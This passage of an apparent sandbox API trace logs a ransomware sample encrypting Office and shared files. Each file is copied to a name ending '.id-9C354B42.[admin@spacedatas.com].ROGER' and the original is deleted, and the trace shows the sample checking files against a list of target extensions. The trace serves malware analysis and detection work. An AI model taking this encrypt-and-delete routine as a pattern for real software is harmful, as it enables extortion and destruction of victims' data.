lpOverlapped=0x0) returned 1 [0041.224] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.225] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0041.226] SetEndOfFile (hFile=0x384) returned 1 [0041.226] CloseHandle (hObject=0x384) returned 1 [0041.227] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.227] SetEndOfFile (hFile=0x37c) returned 1 [0041.228] CloseHandle (hObject=0x37c) returned 1 [0041.228] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0041.228] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1 [0041.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.228] lstrlenW (lpString=".doc") returned 4 [0041.228] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.228] lstrlenW (lpString=".docx") returned 5 [0041.229] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.229] lstrlenW (lpString=".pdf") returned 4 [0041.229] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString=".xls") returned 4 [0041.229] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString=".xlsx") returned 5 [0041.229] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.229] lstrlenW (lpString=".ppt") returned 4 [0041.229] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.229] lstrlenW (lpString=".zip") returned 4 [0041.229] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.229] lstrlenW (lpString=".rar") returned 4 [0041.229] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString=".bz2") returned 4 [0041.229] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString=".7z") returned 3 [0041.229] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.229] lstrlenW (lpString=".dbf") returned 4 [0041.229] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.229] lstrlenW (lpString=".1cd") returned 4 [0041.229] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.229] lstrlenW (lpString=".jpg") returned 4 [0041.229] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.229] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.229] lstrlenW (lpString=".doc") returned 4 [0041.229] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.229] lstrlenW (lpString=".docx") returned 5 [0041.230] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0041.230] lstrlenW (lpString=".pdf") returned 4 [0041.230] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString=".xls") returned 4 [0041.230] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString=".xlsx") returned 5 [0041.230] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0041.230] lstrlenW (lpString=".ppt") returned 4 [0041.230] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.230] lstrlenW (lpString=".zip") returned 4 [0041.230] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.230] lstrlenW (lpString=".rar") returned 4 [0041.230] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString=".bz2") returned 4 [0041.230] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString=".7z") returned 3 [0041.230] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.230] lstrlenW (lpString=".dbf") returned 4 [0041.230] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.230] lstrlenW (lpString=".1cd") returned 4 [0041.230] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.230] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75 [0041.230] lstrlenW (lpString=".jpg") returned 4 [0041.230] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0041.230] lstrcmpiW (lpString1=".EPS", lpString2=".ROGER") returned -1 [0041.230] lstrlenW (lpString="MS.EPS") returned 6 [0041.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.232] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=15067) returned 1 [0041.232] CloseHandle (hObject=0x37c) returned 1 [0041.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 0x20 [0041.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.232] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.232] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0041.233] GetLastError () returned 0x0 [0041.233] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x3adb, lpOverlapped=0x0) returned 1 [0041.235] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x3ae0, lpOverlapped=0x0) returned 1 [0041.236] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.236] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0041.236] SetEndOfFile (hFile=0x384) returned 1 [0041.236] CloseHandle (hObject=0x384) returned 1 [0041.237] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.237] SetEndOfFile (hFile=0x37c) returned 1 [0041.238] CloseHandle (hObject=0x37c) returned 1 [0041.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0041.238] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps")) returned 1 [0041.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.238] lstrlenW (lpString=".doc") returned 4 [0041.238] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0041.238] lstrlenW (lpString=".docx") returned 5 [0041.238] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0041.238] lstrlenW (lpString=".pdf") returned 4 [0041.238] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0041.238] lstrlenW (lpString=".xls") returned 4 [0041.238] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString=".xlsx") returned 5 [0041.239] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0041.239] lstrlenW (lpString=".ppt") returned 4 [0041.239] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.239] lstrlenW (lpString=".zip") returned 4 [0041.239] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString=".rar") returned 4 [0041.239] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString=".bz2") returned 4 [0041.239] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0041.239] lstrlenW (lpString=".7z") returned 3 [0041.239] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0041.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.239] lstrlenW (lpString=".dbf") returned 4 [0041.239] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0041.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.239] lstrlenW (lpString=".1cd") returned 4 [0041.239] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0041.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.239] lstrlenW (lpString=".jpg") returned 4 [0041.239] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.239] lstrlenW (lpString=".doc") returned 4 [0041.239] lstrcmpiW (lpString1=".doc", lpString2=".EPS") returned -1 [0041.239] lstrlenW (lpString=".docx") returned 5 [0041.239] lstrcmpiW (lpString1=".docx", lpString2="S.EPS") returned -1 [0041.239] lstrlenW (lpString=".pdf") returned 4 [0041.239] lstrcmpiW (lpString1=".pdf", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString=".xls") returned 4 [0041.239] lstrcmpiW (lpString1=".xls", lpString2=".EPS") returned 1 [0041.239] lstrlenW (lpString=".xlsx") returned 5 [0041.239] lstrcmpiW (lpString1=".xlsx", lpString2="S.EPS") returned -1 [0041.239] lstrlenW (lpString=".ppt") returned 4 [0041.240] lstrcmpiW (lpString1=".ppt", lpString2=".EPS") returned 1 [0041.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.240] lstrlenW (lpString=".zip") returned 4 [0041.240] lstrcmpiW (lpString1=".zip", lpString2=".EPS") returned 1 [0041.240] lstrlenW (lpString=".rar") returned 4 [0041.240] lstrcmpiW (lpString1=".rar", lpString2=".EPS") returned 1 [0041.240] lstrlenW (lpString=".bz2") returned 4 [0041.240] lstrcmpiW (lpString1=".bz2", lpString2=".EPS") returned -1 [0041.240] lstrlenW (lpString=".7z") returned 3 [0041.240] lstrcmpiW (lpString1=".7z", lpString2="EPS") returned -1 [0041.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.240] lstrlenW (lpString=".dbf") returned 4 [0041.240] lstrcmpiW (lpString1=".dbf", lpString2=".EPS") returned -1 [0041.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.240] lstrlenW (lpString=".1cd") returned 4 [0041.240] lstrcmpiW (lpString1=".1cd", lpString2=".EPS") returned -1 [0041.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 61 [0041.240] lstrlenW (lpString=".jpg") returned 4 [0041.240] lstrcmpiW (lpString1=".jpg", lpString2=".EPS") returned 1 [0041.240] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0041.240] lstrlenW (lpString="MS.GIF") returned 6 [0041.240] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.240] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1069) returned 1 [0041.241] CloseHandle (hObject=0x37c) returned 1 [0041.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0041.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0041.241] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.241] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0041.241] GetLastError () returned 0x0 [0041.241] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x42d, lpOverlapped=0x0) returned 1 [0041.657] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x430, lpOverlapped=0x0) returned 1 [0041.659] ReadFile (in: hFile=0x37c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.660] WriteFile (in: hFile=0x384, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0041.660] SetEndOfFile (hFile=0x384) returned 1 [0041.660] CloseHandle (hObject=0x384) returned 1 [0041.661] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.661] SetEndOfFile (hFile=0x37c) returned 1 [0041.662] CloseHandle (hObject=0x37c) returned 1 [0041.662] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0041.662] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0041.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.662] lstrlenW (lpString=".doc") returned 4 [0041.662] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.662] lstrlenW (lpString=".docx") returned 5 [0041.662] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0041.662] lstrlenW (lpString=".pdf") returned 4 [0041.662] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.662] lstrlenW (lpString=".xls") returned 4 [0041.662] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.662] lstrlenW (lpString=".xlsx") returned 5 [0041.662] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0041.662] lstrlenW (lpString=".ppt") returned 4 [0041.663] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.663] lstrlenW (lpString=".zip") returned 4 [0041.663] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.663] lstrlenW (lpString=".rar") returned 4 [0041.663] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.663] lstrlenW (lpString=".bz2") returned 4 [0041.663] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.663] lstrlenW (lpString=".7z") returned 3 [0041.663] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.663] lstrlenW (lpString=".dbf") returned 4 [0041.663] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.663] lstrlenW (lpString=".1cd") returned 4 [0041.663] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.663] lstrlenW (lpString=".jpg") returned 4 [0041.663] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.663] lstrlenW (lpString=".doc") returned 4 [0041.663] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0041.663] lstrlenW (lpString=".docx") returned 5 [0041.663] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0041.663] lstrlenW (lpString=".pdf") returned 4 [0041.663] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0041.663] lstrlenW (lpString=".xls") returned 4 [0041.663] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0041.663] lstrlenW (lpString=".xlsx") returned 5 [0041.663] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0041.664] lstrlenW (lpString=".ppt") returned 4 [0041.664] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0041.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.664] lstrlenW (lpString=".zip") returned 4 [0041.664] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0041.664] lstrlenW (lpString=".rar") returned 4 [0041.664] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0041.664] lstrlenW (lpString=".bz2") returned 4 [0041.664] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0041.664] lstrlenW (lpString=".7z") returned 3 [0041.664] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0041.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.664] lstrlenW (lpString=".dbf") returned 4 [0041.664] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0041.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.664] lstrlenW (lpString=".1cd") returned 4 [0041.664] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0041.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0041.664] lstrlenW (lpString=".jpg") returned 4 [0041.664] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0041.664] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0041.664] lstrlenW (lpString="auxpad.xml") returned 10 [0041.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0041.908] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=212) returned 1 [0041.908] CloseHandle (hObject=0x374) returned 1 [0041.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0041.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0041.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.908] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.908] lstrlenW (lpString=".doc") returned 4 [0041.908] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0041.908] lstrlenW (lpString=".docx") returned 5 [0041.908] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0041.908] lstrlenW (lpString=".pdf") returned 4 [0041.908] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0041.908] lstrlenW (lpString=".xls") returned 4 [0041.908] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0041.908] lstrlenW (lpString=".xlsx") returned 5 [0041.908] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0041.909] lstrlenW (lpString=".ppt") returned 4 [0041.909] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.909] lstrlenW (lpString=".zip") returned 4 [0041.909] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0041.909] lstrlenW (lpString=".rar") returned 4 [0041.909] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString=".bz2") returned 4 [0041.909] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString=".7z") returned 3 [0041.909] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0041.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.909] lstrlenW (lpString=".dbf") returned 4 [0041.909] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0041.909] lstrlenW (lpString=".1cd") returned 4 [0041.909] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0041.909] lstrlenW (lpString="C:\\Program Files\\Common 